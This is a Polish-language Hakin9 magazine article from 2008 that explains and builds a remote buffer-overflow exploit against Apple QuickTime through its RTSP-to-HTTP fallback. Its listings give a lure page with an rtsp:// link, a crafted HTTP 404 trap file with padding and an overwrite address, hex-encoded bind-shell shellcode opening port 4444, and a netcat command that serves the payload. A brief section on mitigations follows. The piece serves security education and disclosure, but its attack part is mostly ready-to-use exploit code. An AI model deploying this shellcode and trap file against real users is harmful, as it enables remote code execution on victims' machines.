20
HAKIN9
ATAK
6/2008
P
rodukty multimedialne firmy Apple już
od dawna są obecne wśród szerokich
rzeszy użytkowników komputerów.
Umożliwiają one odtwarzanie wielu formatów
plików multimedialnych w sposób łatwy i
wygodny, oferując przy tym przyjazny dla
oka interfejs. Dodatkowym atutem programu
QuickTime jest fakt, iż może być on użyty jako
plugin przeglądarki internetowej, co pozwoli nam
oglądać multimedia bezpośrednio na stronie
WWW. Nie zapominajmy też o stworzonym
właśnie z myślą o QuickTime formacie plików,
które mogą być odtwarzane tylko w tej aplikacji.
Mimo licznych zalet, oprogramowanie
to – jak wiele innych aplikacji – ma jedną
zasadniczą wadę, mianowicie znajdowane są
w nim błędy związane z kwestią, która powinna
być oczkiem w głowie każdego internauty –
bezpieczeństwem jego komputera. Tym razem
nie będzie inaczej. QuickTime – aplikacja,
która może działać samodzielnie, jak również
jako część pakietu iTunes – jest podatna na
atak związany z przepełnieniem bufora. Jak
nietrudno się domyślić, umożliwia to wykonanie
dowolnego kodu na komputerze ofiary. Na
dokładkę wszystko odbywa się zdalnie, za
pośrednictwem Internetu.
Protokół RTSP
Jak mówi definicja protokołu RTSP,
zaprojektowano go do użycia przez
strumieniowe aplikacje multimedialne. Brzmi
KONRAD ZUWAŁA
Z ARTYKUŁU
DOWIESZ SIĘ
jak wykorzystać lukę związaną
z przepełnieniem bufora w
aplikacjach Apple korzystających
z programu QuickTime,
co można zrobić w celu poprawy
bezpieczeństwa tych aplikacji.
CO POWINIENEŚ
WIEDZIEĆ
znać podstawy działania ataków
typu buffer overflow,
umieć obsługiwać system
Windows z poziomu wiersza
poleceń,
znać podstawy protokołu HTTP.
skomplikowanie, jednak w rzeczywistości jest
prostsze, aniżeli wydaje się być na pierwszy
rzut oka. RTSP (ang. Real Time Streaming
Protocol, czyli Protokół Strumieniowania Czasu
Rzeczywistego) jest protokołem bazującym na
komunikacji typu klient – serwer. Umożliwia on
pracę z plikami multimedialnymi, do których
uzyskujemy zdalny dostęp za pomocą klienta
takiego protokołu, np. QuickTime. Protokół ten
– mimo, iż powszechnie używany – jest dopiero
w fazie rozwoju; ciągle proponowane są nowe
udoskonalenia i opcje, które mają go uczynić
bardziej wszechstronnym i niezawodnym.
RTSP jest protokołem, który może do
przesyłania danych używać zarówno protokołu
TCP, jak i UDP. Założeniem jego twórców
było udostępnienie pewnego mechanizmu
kontroli wielu sesji transmisji danych – tak, aby
komunikacja przebiegała w należytej kolejności,
z zachowaniem szybkości i niezawodności
transmisji.
Protokół ten ma pełnić funkcję czegoś
w rodzaju pilota sterującego strumieniami
danych multimedialnych, które są aktualnie
przesyłane. Więcej na temat teoretycznej
strony działania opisywanego protokołu
można znaleźć pod adresami wskazanymi
w ramce W Sieci. My jednak zajmiemy się
praktycznym wykorzystaniem tych informacji
– kompromitacją QuickTime.
Usługa serwera tego protokołu działa
zwykle na porcie 554, jednak, gdy aplikacja
Stopień trudności
Hakowanie
QuickTime’a
Apple zdobył sobie zasłużoną sławę producenta multimediów.
QuickTime jest jednym z jego flagowych produktów, który cieszy
się dobrą sławą. Odkryto jednak błąd, który pozwala zaatakować
QuickTime’a.
21
HAKIN9
HAKOWANIE QUICKTIME’A
6/2008
taka jak QuickTime nie będzie mogła
połączyć się z tym portem, ponieważ
będzie on zamknięty, spróbuje ona
wybrać port http (czyli 80) jako domyślny
port połączenia. Aby zmusić aplikację
Apple'a do połączenia się z serwerem
RTSP, wystarczy w przeglądarce kliknąć
odnośnik do strony opisany URLem
wywołującym ten protokół, np. rtsp:
//jakasStrona.com/plik.mp3. Przykładowa
strona może wyglądać tak, jak ta
zaprezentowana na Listingu 1.
Znając już podstawy działania
protokołu RTSP, jesteśmy w stanie
przejść do dalszej części układanki,
mianowicie przepełnienia bufora
związanego właśnie z obsługą tego
protokołu.
RTSP, HTTP, czyli jak
przepełnić bufor QuickTime
Problem w QuickTime, odkryty
przez Luigi'ego Auriemma, polega
na zachowaniu tegoż programu w
przypadku, gdy wywołujemy połączenie
z serwerem RTSP, jednak ten nie
nasłuchuje na porcie 554. Zgodnie
z tym, co było napisane wcześniej,
QuickTime w takiej sytuacji podejmuje
próbę połączenia na porcie 80. Jest
to domyślny port protokołu HTTP,
tak więc aplikacja przełącza się
właśnie na HTTP, wkraczając tym
samym na dość niepewny grunt.
Przepełnienie bufora następuje wtedy,
gdy za pomocą protokołu HTTP do
programu zostaje wysłany kod błędu
404 (strony nie znaleziono). Jest on
niepoprawnie obsługiwany przez
aplikację, umożliwiając dokonanie
ataku związanego z przepełnieniem
bufora. A przepełnienie bufora zwykle
pozwala nam wykonać dowolny kod
na komputerze ofiary – to jest właśnie
naszym celem.
Przepełnienie bufora następuje wtedy,
gdy nasz spreparowany serwer HTTP
wyśle kod błędu 404. Zła implementacja
obsługi tego kodu w QuickTime
sprawia, że jesteśmy w stanie nadpisać
4–bajtowym ciągiem adres powrotu z
funkcji. Dzięki temu możemy wstawić w to
miejsce adres, w którym znajduje się nasz
shellcode. Demonstruje to Rysunek 2.
Jak widać z tego schematu, zasada
działania naszego exploita będzie
dość prosta. Wystarczy, że nadpiszemy
odpowiedni adres w pamięci – tak, aby
wykonanie programu przeskoczyło do
naszego shellcodu. Shellcode powinien
więc znajdować się w miejscu w
pamięci, które będzie nam znane i do
którego będziemy w stanie się odwołać
za pośrednictwem asemblerowej
instrukcji
JMP adresShellcode
. Sam
shellcode musi być tak skonstruowany,
aby mieścił się w buforze, do którego
zamierzamy go wkleić, winien również
przynosić nam wymierne korzyści
w postaci np. otwarcia powłoki na
zadanym porcie.
Warto wspomnieć, iż nie jest to
klasyczny atak przepełnienia bufora, który
zwykle ma miejsce, gdy nadpisywany
jest adres powrotu znajdujący się
na stosie. My staramy się nadpisać
adres, który znajduje się w rejestrze
procesora, a w klasycznej definicji
przepełnienia bufora złośliwy adres jest
po prostu kładziony na stosie – tak, aby
asemblerowe wywołanie
RET
pobrało
nie adres właściwej funkcji, tylko adres
shellcode.
Budujemy exploit
Zanim przystąpimy do rzeczywistej
budowy exploita, musimy najpierw
poznać pełne założenia niezbędne do
jego prawidłowego działania. Adres
w pamięci, który musimy nadpisać,
położony jest dokładnie 1926 bajtów
od miejsca, w którym wyświetlana jest
wiadomość o błędzie, znajdująca się
z kolei 486 bajtów przed początkiem
bufora, który przyjmie spreparowane
przez nas dane. Dostajemy więc 1440
bajtów, które mogą być dowolnym
ciągiem śmieci, zaczynającym się
oczywiście od znaków
HTTP/1.1 404
.
Po ciągu śmieci winien znajdować się
Rysunek 1.
Program iTunes – pakiet multimedialny Apple korzystający z QuickTime
Listing 1.
Przykładowa strona z odwołaniem do serwera RTSP
<
HTML
>
<
BODY
>
<
A HREF=”rtsp://jakasStrona.com/piosenka.mp3”
>
Strona rtsp
<
/A
>
<
/BODY
>
<
/HTML
>
ATAK
22
HAKIN9 6/2008
23
HAKIN9
6/2008
HAKOWANIE QUICKTIME’A
czterobajtowy adres, który – w wyniku
naszej exploitacji – zostanie zapisany
do rejestru EAX procesora atakowanej
maszyny. Zawartość rejestru EAX będzie
wskazywać na adres w pamięci miejsca,
w którym nastąpiło przepełnienie, tak
więc nasz shellcode powinien znajdować
się dokładnie 4 bajty za tym miejscem
– tyle zajmują 32 bity adresu, który
skopiujemy do rejestru EAX. Następnie
w programie wywoływana jest instrukcja
JMP EAX
. Autor celowo nie zachowuje
składni odpowiedniej dla któregoś
z asemblerów, pozostawiając jego
wybór Czytelnikowi – czy polecenie
będzie wyglądać tak, czy też np.
JMP
%EAX
, zależeć będzie od używanego
asemblera.
Adres w pamięci, od którego musimy
odliczyć rzeczone 1926 bajtów, to
szesnastkowo 0x6761d559. Dodatkowo
– dla bezpieczeństwa – shellcode
winien zaczynać się od 4–bajtowego
ciągu instrukcji
NOP
, co pomoże choćby
w przypadku, gdybyśmy zrobili błąd
w obliczeniach i np. nie uwzględnili
rozmiaru adresu nadpisania. Po tym
ciągu winien następować docelowy kod
shellcode, który zostanie wykonany na
maszynie ofiary.
Listing 2. demonstruje, jak winien
wyglądać plik, który wyślemy ofierze za
pomocą protokołu HTTP. Zaczyna się
od ciągu informującym o napotkaniu
błędu, dalej następuje ciąg śmieci
mających na celu przepełnić bufor.
Warto wspomnieć, że ciąg śmieci może
być dowolnym znakiem drukowalnym
– nie można używać znaków NULL ani
znaków specjalnych ASCII (powrotu
karetki, nowego wiersza, wcięcia etc).
Po ciągu śmieci napotykamy na adres
w pamięci, który wskazuje na nasz
shellcode – adres bazowy + offset,
czyli łącznie 1930 bajtów (pamiętajmy,
że sam adres też zajmuje miejsce w
pamięci). Teraz pora na shellcode, który
jest oczywiście skompilowany do postaci
binarnej. Zaczyna się on od 4–bajtowego
ciągu NOPów (jak wspominałem
wyżej – pełniących rolę dodatkowego
zabezpieczenia dla prawidłowego
zadziałania złośliwego kodu). Gotowy
shellcode możemy pobrać z Internetu lub
też stworzyć samodzielnie za pomocą
np. biblioteki InlineEgg, opisywanej
we wcześniejszych numerach Hakin9.
Przykładowy shellcode otwierający
powłokę na porcie 4444 zaprezentowany
jest na Listingu 3.
Pozostaje jeszcze tylko jeden
problem – w jaki sposób przesłać tak
spreparowany plik do ofiary? Z pomocą
przychodzi nam niezawodny program
netcat, który możemy uruchomić w trybie
serwera nasłuchującego na danym
porcie, tak, aby zaraz po połączeniu się
z tym portem wysłał spreparowany przez
Rysunek 2.
Schemat przepełnienia bufora
QuickTime
początek bufora
nadpisany adres powrotu z funkcji
segment pamięci zawierający shellcode
Rysunek 3.
QuickTime pod debuggerem IDA
Rysunek 4.
Zdalna powłoka na komputerze ofiary - udana exploitacja
W Sieci:
• http://tools.ietf.org/html/rfc2326 – opis protokołu RTSP,
• http://www.us-cert.gov/reading_room/securing_browser – zabezpieczanie przeglądarki
Internetowej przed atakami opisanego typu,
• http://www.apple.com/quicktime – strona domowa programu QuickTime.
ATAK
22
HAKIN9 6/2008
23
HAKIN9
6/2008
HAKOWANIE QUICKTIME’A
nas plik do ofiary i zakończył połączenie.
Opisywane wywołanie programu netcat
zaprezentowane jest na Listingu 4.
Oczywiście, do poprawnego działania
netcata wymagane jest odblokowanie
portu na firewallu i posiadanie praw
administratora – uruchomienie usługi
na porcie niższym niż 1024 jest zwykle
ograniczane przez używany system
operacyjny, naturalnie ze względów
bezpieczeństwa.
Jak się zabezpieczyć?
Opisywana podatność dotyczy
QuickTime w wersji niższej bądź równej
7.3.1.70, na systemach operacyjnych
Windows bądź Mac. Linux po raz kolejny
okazał się być odpornym na podobnego
rodzaju ataki. Na dzień pisania artykułu
nie istniała żadna łata umożliwiająca
wyeliminowanie błędu. Pozostaje więc
pytanie, w jaki sposób zabezpieczyć się
przed tego typu atakiem?
Metod jest kilka – jednak im
bardziej chcemy być bezpieczni, tym
bardziej ograniczymy dostępną dla nas
funkcjonalność. Podstawową metodą
jest z pewnością zablokowanie protokołu
RTSP w przeglądarce internetowej
bądź korzystanie z serwera proxy, który
automatycznie blokuje tenże protokół.
Użytkownicy jeszcze bardziej wrażliwi
na punkcie swojego bezpieczeństwa
mogą w ogóle odinstalować z systemu
oprogramowanie QuickTime (a co
za tym idzie, również iTunes, które
używa QuickTime). Z pewnością nie
jest to jednak najlepszy pomysł, gdyż
pozbywanie się ulubionego programu
do odtwarzania multimediów z powodu
wykrycia w nim błędu mija się nieco
z celem – gdyby postępować w ten
sposób, musielibyśmy pewnie w ogóle
zaprzestać korzystania z komputera,
albowiem ciągle wykrywane są nowe
błędy w oprogramowaniu.
Zablokowanie pluginu QuickTime
w przeglądarkach z rodziny Mozilla
(bądź formantu ActiveX w Internet
Explorerze) powinno uchronić nas przed
następstwami używania dziurawego
QuickTime, jednak znów mamy tu do
czynienia ze znaczącym ograniczeniem
naszego komfortu i funkcjonalności
wykorzystywanego komputera.
Pozostaje więc mieć nadzieję, że patch
naprawiający opisany błąd wkrótce
pojawi się na stronach Apple.
Podsumowanie
Opisana w artykule luka w
oprogramowaniu Apple pozwala na
uruchomienie praktycznie dowolnego
kodu na komputerze nieświadomego
użytkownika, co może prowadzić do
przykrych konsekwencji. Nawet w
programach takich, jak QuickTime,
które z pozoru wydają się być mało
atrakcyjnym celem dla atakującego,
znajdowane są błędy, które pozwalają
na zdalne wykonanie złośliwego
kodu. Słusznymi więc wydają się
być podstawowe zasady, których
przestrzeganie zagwarantuje nam tak
pożądane bezpieczeństwo: korzystanie
do codziennego użytku z konta
innego niż administracyjne, używanie
tylko pewnego oprogramowania i
omijanie witryn, które nie wzbudzają
w nas należytego zaufania. Pozostaje
więc mieć nadzieję, że Czytelnik,
omijając nieznane strony internetowe z
odnośnikami rtsp://, nie stanie się ofiarą
takiego ataku.
Listing 2.
Plik – zasadzka
HTTP/1.1 404
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxx
// litera x powtarza się 1440 razy – ciąg śmieci
// w tym miejscu skompilowane adres w pamięci i shellcode:
0x6761DCE3 // 0x6761d559 + 0x786 + 0x4
//shellcode jest oczywiście skompilowany binarnie
NOP NOP NOP NOP
docelowyKod
Listing 3.
Shellcode uruchamiający powłokę na porcie 4444
char
shellcode
[]=
"
\x
90
\x
90
\x
90
\x
90"
//
4
-
bajtowy
ci
ą
g
nop
ó
w
"
\x
33
\x
c9
\x
83
\x
e9
\x
b0
\x
d9
\x
ee
\x
d9
\x
74
\x
24
\x
f4
\x
5b
\x
81
\x
73
\x
13
\x
af"
"
\x
99
\x
e8
\x
2f
\x
83
\x
eb
\x
fc
\x
e2
\x
f4
\x
53
\x
f3
\x
03
\x
62
\x
47
\x
60
\x
17
\x
d0"
"
\x
50
\x
f9
\x
63
\x
43
\x
8b
\x
bd
\x
63
\x
6a
\x
93
\x
12
\x
94
\x
2a
\x
d7
\x
98
\x
07
\x
a4"
"
\x
e0
\x
81
\x
63
\x
70
\x
8f
\x
98
\x
03
\x
66
\x
24
\x
ad
\x
63
\x
2e
\x
41
\x
a8
\x
28
\x
b6"
"
\x
03
\x
1d
\x
28
\x
5b
\x
a8
\x
58
\x
22
\x
22
\x
ae
\x
5b
\x
03
\x
db
\x
94
\x
cd
\x
cc
\x
07"
"
\x
da
\x
7c
\x
63
\x
70
\x
8b
\x
98
\x
03
\x
49
\x
24
\x
95
\x
a3
\x
a4
\x
f0
\x
85
\x
e9
\x
c4"
"
\x
ac
\x
b5
\x
63
\x
a6
\x
c3
\x
bd
\x
f4
\x
4e
\x
6c
\x
a8
\x
33
\x
4b
\x
24
\x
da
\x
d8
\x
a4"
"
\x
ef
\x
95
\x
63
\x
5f
\x
b3
\x
34
\x
63
\x
6f
\x
a7
\x
c7
\x
80
\x
a1
\x
e1
\x
97
\x
04
\x
7f"
"
\x
50
\x
4f
\x
8e
\x
7c
\x
c9
\x
f1
\x
db
\x
1d
\x
c7
\x
ee
\x
9b
\x
1d
\x
f0
\x
cd
\x
17
\x
ff"
"
\x
c7
\x
52
\x
05
\x
d3
\x
94
\x
c9
\x
17
\x
f9
\x
f0
\x
10
\x
0d
\x
49
\x
2e
\x
74
\x
e0
\x
2d"
"
\x
fa
\x
f3
\x
ea
\x
d0
\x
7f
\x
f1
\x
31
\x
26
\x
5a
\x
34
\x
bf
\x
d0
\x
79
\x
ca
\x
bb
\x
7c"
"
\x
fc
\x
ca
\x
ab
\x
7c
\x
ec
\x
ca
\x
17
\x
ff
\x
c9
\x
f1
\x
f9
\x
73
\x
c9
\x
ca
\x
61
\x
ce"
"
\x
3a
\x
f1
\x
4c
\x
35
\x
df
\x
5e
\x
bf
\x
d0
\x
79
\x
f3
\x
f8
\x
7e
\x
fa
\x
66
\x
38
\x
47"
"
\x
0b
\x
34
\x
c6
\x
c6
\x
f8
\x
66
\x
3e
\x
7c
\x
fa
\x
66
\x
38
\x
47
\x
4a
\x
d0
\x
6e
\x
66"
"
\x
f8
\x
66
\x
3e
\x
7f
\x
fb
\x
cd
\x
bd
\x
d0
\x
7f
\x
0a
\x
80
\x
c8
\x
d6
\x
5f
\x
91
\x
78"
"
\x
50
\x
4f
\x
bd
\x
d0
\x
7f
\x
ff
\x
82
\x
4b
\x
c9
\x
f1
\x
8b
\x
42
\x
26
\x
7c
\x
82
\x
7f"
"
\x
f6
\x
b0
\x
24
\x
a6
\x
48
\x
f3
\x
ac
\x
a6
\x
4d
\x
a8
\x
28
\x
dc
\x
05
\x
67
\x
aa
\x
02"
"
\x
51
\x
db
\x
c4
\x
bc
\x
22
\x
e3
\x
d0
\x
84
\x
04
\x
32
\x
80
\x
5d
\x
51
\x
2a
\x
fe
\x
d0"
"
\x
da
\x
dd
\x
17
\x
f9
\x
f4
\x
ce
\x
ba
\x
7e
\x
fe
\x
c8
\x
82
\x
2e
\x
fe
\x
c8
\x
bd
\x
7e"
"
\x
50
\x
49
\x
80
\x
82
\x
76
\x
9c
\x
26
\x
7c
\x
50
\x
4f
\x
82
\x
d0
\x
50
\x
ae
\x
17
\x
ff"
"
\x
24
\x
ce
\x
14
\x
ac
\x
6b
\x
fd
\x
17
\x
f9
\x
fd
\x
66
\x
38
\x
47
\x
5f
\x
13
\x
ec
\x
70"
"
\x
fc
\x
66
\x
3e
\x
d0
\x
7f
\x
99
\x
e8
\x
2f"
;
Listing 4.
Wywołanie programu netcat w trybie serwera
nc -l -p 80 -v -v -n < ourPreparedFile.txt
Konrad Zuwała
Autor zajmuje się bezpieczeństwem aplikacji
internetowych oraz szeroko rozumianą ochroną
systemów komputerowych. W wolnych chwilach
programuje (głównie C/C++, PHP) oraz zarządza
portalem internetowym.
Kontakt z autorem: kzuwala@poczta.onet.pl